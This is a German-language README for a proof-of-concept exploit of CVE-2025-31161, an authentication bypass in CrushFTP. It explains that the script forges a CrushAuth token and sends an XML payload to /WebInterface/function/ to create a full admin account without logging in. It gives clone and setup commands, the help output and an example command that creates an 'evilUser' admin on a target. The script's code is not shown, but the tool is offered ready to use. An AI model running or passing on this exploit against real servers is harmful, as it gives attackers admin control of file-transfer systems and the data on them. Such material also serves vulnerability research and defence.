CVE-2025-31161 - CrushFTP Authentifizierungs-Bypass-Exploit

PoC CVE-2025-31161 - Authentifizierungs-Bypass CrushFTP

📌 CVE-Details

• ID: CVE-2025-31161
• Typ: Authentifizierungs-Bypass
• Anbieter: CrushFTP
• Auswirkung: Ermöglicht nicht authentifizierten Angreifern, ein gültiges CrushAuth-Token zu fälschen und einen vollständig privilegierten Admin-Benutzer zu erstellen.
• Weitere Informationen: NVD-Eintrag (sobald verfügbar)

⚙️ Beschreibung

Dieser Exploit zielt auf eine kritische Schwachstelle in CrushFTP ab, die es entfernten, nicht authentifizierten Angreifern ermöglicht, die Authentifizierung zu umgehen und beliebige Admin-Benutzer zu erstellen.

Er funktioniert, indem ein gültig aussehendes CrushAuth-Token erstellt und der Endpunkt /WebInterface/function/ missbraucht wird, um eine vollständig geformte XML-Nutzlast zu übermitteln.

🚀 Verwendung

🔧 Voraussetzungen

• curl
• shuf

Installation

git clone https://github.com/f4dee-backup/CVE-2025-31161

cd CVE-2025-31161

chmod +x CVE-2025-31161.sh

Hilfebereich:

./CVE-2025-31161.sh --help

[?] Parameters description:

	--url            Target base URL (e.g., http://target)
	--port           Port where CrushFTP is running
	--target-user    Valid or invalid username (e.g., crushadmin)
	--new-user       Username to be created (e.g., Pwn3d)
	--new-password   Password for the new user
	--help           Show this help panel

[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345